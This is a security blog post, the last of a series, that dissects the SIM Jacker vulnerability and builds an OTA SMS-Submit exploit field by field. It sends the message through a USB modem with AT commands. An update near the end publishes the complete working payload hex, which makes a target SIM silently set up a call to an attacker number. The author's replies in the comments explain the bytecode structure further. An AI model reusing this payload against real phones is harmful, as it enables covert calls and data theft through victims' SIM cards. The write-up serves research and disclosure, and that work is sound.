Home Blog About Contact 

Search... Search
Dissecting SIM Jacker – Part 4 of 4: Exploitation.
Posted by Cristian R. January 16, 2020 in General

In previous articles (part 1, part 2 and part 3) we have

Most Popular
setup the foundation for understanding the details of
SIMs, SMS, SMS-Submit, SMS-Deliver, SMS-PP Data Bypassing Android SSL
Download, Over The Air messages and the SIM Tester Pinning with FRIDA
November 13, 2018
tool. In this article we will put all the pieces together
and attempt to exploit the SIM Jacker vulnerability on
Manually injecting
one of our own SIM Cards. meterpreter payload into an
Android application.
There 3 main conditions that needs to be met in order May 5, 2018

to be able to exploit this vulnerability: 1) the SMS

SSL pinning bypass with
Center accepts and relays binary messages 2) the frida-gadget (gadget-
injector.py)
ability of the target device to receive SMS binary
December 14, 2018
messages that contains (U)SIM Application Toolkit commands and 3) that the S@T Browser
technology is deployed on the SIM Card and the Minimum Security Level is set to No Dissecting SIM Jacker – Part 4
of 4: Exploitation.
Security applied. January 16, 2020

Other conditions for the attack to be successful is that the SIM Card itself has 2 capabilities or

services enabled, these are: Proactive UICC commands and Data Download to UICC, these
Your journey to anonymity
services are usually enabled by default on SIM Cards and that’s why they are not part of the starts here: [Kali + Whonix
Gateway + VPN].
main conditions.
August 15, 2018

As we saw in part 3, Over The Air messages are essential for exploiting the vulnerability, in
Exploiting Android
fact, the attack is executed by sending a speci c type of OTA message to the victim. Let’s Components: Loading
arbitrary URLs in a Webview.
remember the format of on an SMS-Submit message that will work as an OTA:
September 4, 2019

OTA / SMS-PP Data Download message.

This is the format of an SMS-Submit message, that is, the message that originates from the
attacker and is sent through the USB Modem, so, let’s go piece by piece:

Service Center Address (SCA)

The rst piece is the Service Center Address, this is the address of the SMS Center, that is,
the part of the provider’s infrastructure that relays messages. As we have mentioned in a
previous article, this eld can be set to it’s default value (that is, the value already set in the
SIM Card) by using 0x00, so, the rst piece is:

SCA = 0x00

First Octet (FO)

The second piece is the First Octet, from a previous article we had learnt that the coding of
the rst octet for an SMS-Submit is as follows:

SMS-Submit rst octet.

Since this is an SMS-Submit, we start by setting bits number 0 and 1 to “01″, this is the MTI
(Message Type Identi er), other bits can be set to zero, except for bit number 6 which needs
to be set to “1“, this is UDHI (User Data Header Indicator), so, the binary coding for the rst
octet will be:

01000001 = 41 in hex.

So, our second piece is:

FO = 0x41

Message Reference (MR)

The third piece is the Message reference and this can be set as follows:

MR = 0x00

Destination Address (DA)

The Destination Address is the address of the target, this value is coded as follows:

Length of address = 0x0B

Type of address = 0x91 (international)
Address = 50612345678F = 0x0516325476F8

So:

DA = 0x0B910516325476F8

Protocol Identi er (PID)

The Protocol Identi er has to be set to SIM Data Download, that is:

PID = 0x7F

Data Coding Scheme (DCS)

The Data Coding Scheme has to be set to Class 2, that is:

PID = 0xF6

User Data Length (UDL)

The User Data Length is the length in bytes of the user data, that is, the number of bytes
that comprise the user data:

UDL = XX

User Data (UD)

The User Data contains the User Data Header and the Command Packet, if you remember,
in the First Octet we set the UDHI (User Data Header Indicator) to indicate that the User Data
will contain a User Data Header.

User Data Header Length (UDHL)

The User Data Header Length is the length in bytes of the User Data Header and is set as
follows:

UDHL = 0x02

User Data Header (UDH)

The User Data Header is set such as that it indicates that the Command Packet will contain
Security Headers, that is:

UDH = 0x7000

Command Packet (CP)

The Command Packet contains very important information about the security of the
message, which application the message is directed to and what are the actual commands
that we want to execute.

Command Packet Length (CPL)

The Command Packet Length is the length in bytes of the entire Command Packet:

CPL = YYYY

Command Header Length (CHL)

The Command Header Length is the length in bytes of the Command Header:

CHL = 0x0D

The Command Header is comprised of 6 di erent values:

Security Parameter Indicator (SPI)

The Security Parameter Indicator speci es whether or not any security will be applied to
the message, in this case we set SPI as follows:

SPI = 0x0000

Ciphering Key Identi er (KIc)

The Ciphering Key Identi er identi es the type of ciphering used, we set this to:

KIc = 0x00

Key Identi er (KID)

The Key Identi er speci es the key that will be used for encryption, we set this to:

KID = 0x00

Target Application Reference (TAR)

The Target Application Reference identi es the application on the SIM Card we will be
sending the message to, we set it to the S@T Browser:

TAR = 0x505348

Counter and Padding Counter (CNTR & PCNTR)

These values are set as follows:

CNTR = 0x0000000000
PCNTR= 0x00

Secured Data (S@T/STK Commands)

This is the most important part of the payload, it contains the commands that we want the
S@T Browser application to execute on our behalf. These commands are constructed using
STK Bytecode and it can be used, for example, to Setup a Call and Send Short Messages.

The S@T/STK Commands are set as follows:

S@T/STK Commands = 0x42230121…2D0C100383…2B00

For security reasons, I won’t provide the entire hex representation of these
commands, as this could be used to abuse this vulnerability in the wild.

Proof of Concept
For our proof of concept below, we will be using bytecode commands that set up a call on
the device of our victim to another device controlled by the attacker.

The victim does not notice that he/she has received the message, but, a prompt is shown to
the user for accepting the call. Using bytecode commands, for instance, we could also make
the victim send short message with sensitive information without the user even noticing.

SMS-Submit
Therefore, our SMS-Submit message looks like this:

SMS-
Submit
exploitin
g SIM
Jacker.

Which is the same as shown below (where XX and YYYY are just the lengths of the afterwards
bytes):

0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121…
2D0C100383…2B00

Sending the message

As we saw in part 1 of these series, we will be using an USB modem to send our attacking
message, to do so, we connect to the modem with screen:

screen /dev/ttyUSB0

We now enable PDU mode:

AT+CMGF=0 (ENTER)
OK

And nally send the message (see the end of this article for an update on the full payload):

AT+CMGS=69 (ENTER)
>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121
…2D0C100383…2B00 (CTRL + Z)

The Victim
The victim receives the message as an SMS-Deliver which, in turn, is transformed into an
SMS-PP Data Download. That transformed messaged is handled by the SIM Card (since it is
a binary message) and the SIM Card application (S@T Browser) executes the S@T/STK
commands speci ed in the message itself, in this case, that means setting up a call.

Do note that the victim does not notice that he/she has received an SMS, however, for
this speci c proof of concept, the victim receives a prompt for accepting the call (to an
attacker-controlled device), so, the victim will see something like the shown below (do note
that the attacker could also execute other actions like sending an SMS message with sensitive
information):

SIM Jacker victim.

If the victim accepts the call, the victim will call the attacker-controlled number we have
set up in the Secured Data (S@T/STK Commands). We can see this in the following video:

0:00 / 0:28

Exploiting SIM Jacker.

That’s it! Thanks!

UPDATE (07/12/2020)

It’s been a while since this publication, so, I thought I’d share the whole payload for the sake
of completeness. The AT command with the SMS-SUBMIT message is as shown below (with
length of 69):

AT+CMGS=69
>0041000B912143658709F37FF63802700000330D0000000050534800000000000042230121
020744382E3130353105160604313035312D0C1003830607912143658709F02B00

Do note that the target of the attack is speci ed as the rst instance of 2143658709F and the
second instance is the phone number the target SIM will call (since we are dealing with an
STK command to setup call).

12 Comments

GeorgyPorgie March 2, 2020 at 2:57 pm

… Deck tag attributes presence ag should be set, due to the reason that dynamic
deck will not be cached by the S@T browser

 Reply

 Cristian R. March 2, 2020 at 6:37 pm

Hello, thanks for your comment,

The Deck Tag ID is set after “0x42230121” and followed by the rest of the
payload, however, I didn’t thought it was a good idea to give up the entire
payload, so, I cropped it.

Regards,
Cristian

Fernando March 30, 2020 at 12:08 pm

Hi Cristian, thanks for your explanation!
About the payload, you manually build it or theres a lib or something to create
them?
Regards,
Fernando

 Reply

 Cristian R. March 30, 2020 at 10:26 pm

Hello, thanks for your comment.

Mostly manually, by going through the STK bytecode documentation and

also with the help of open tools such as the SIM Tester by SRLabs.
Thanks!

Regards,
Cristian

Antonio April 14, 2020 at 5:55 am

Hi, as I’m relatively new to these types of vulnerabilities associated with sims, I can’t
quite understand the STK bytecode documentation. Could you tell me where to
start to learn this type of vulnerability so that I can generate the payload on my
own?

 Reply

 Cristian R. April 16, 2020 at 4:32 pm

Hello Antonio,

Here are a few resources you can check:

PUSH Command – Section 6
SAT SetUp Call – Section 5.8.7
SIM Tester – This helps in understanding process and format.

Regards,
Cristian

Pedro June 15, 2020 at 9:34 am

Hi, thanks for the article.

Do you start any variables before the STK command? or follow the order: push>
deck> card> STK command?

 Reply

 Cristian R. June 26, 2020 at 12:17 am

Hi Pedro,
I start by constructing the SMS-SUBMIT message and, when it comes to
the S@T Setup Call part I follow the Push (0x42) > Deck > Card > Generic
STK Command (2D). And this generic command follows the Setup Call
(0x10) > Quali er (0x03) > DestinationTag (0x83) > AddressTag (06) >
Address (0x91…) > 2B00 format.
Regards,
Cristian

Pedro June 28, 2020 at 11:29 am

Did you used, Deck > Card template tag > card? or just Deck > card? The
setup call has an Alpha identi er “Accept call?” ? The “2B00” is the Exit tag
without length?
Thanks, Pedro.

 Cristian R. July 12, 2020 at 10:55 pm

Hello, please note that I have recently added an update to the end of this
article, go ahead and take a look at it.
Thanks,
Cristian

MA July 3, 2020 at 3:34 pm

I have a question about gure 3 of the adaptiveMobile security report. The nal
step is setting payload as variable 5. But how can we set variable as SMS data (The
SMS data of the STK SEND-Short-Message)?

 Reply

 Cristian R. July 12, 2020 at 10:56 pm

Hello, please note that I have recently added an update to the end of this
article, go ahead and take a look at it.
Thanks,
Cristian

Leave a Reply

Your email address will not be published. Required elds are marked *

Comment

Name * Email * Notify me of follow-up

comments by email.

Notify me of new posts

by email.

Я не робот
reCAPTCHA
Конфиденциальность - Условия использования

Post Comment

Contact Social

Cristian R.  
[email protected]

COPYRIGHT © 2020 SECURITY GRIND. ALL RIGHTS RESERVED.

THEME: VT BLOGGING BY VOLTHEMES. POWERED BY WORDPRESS.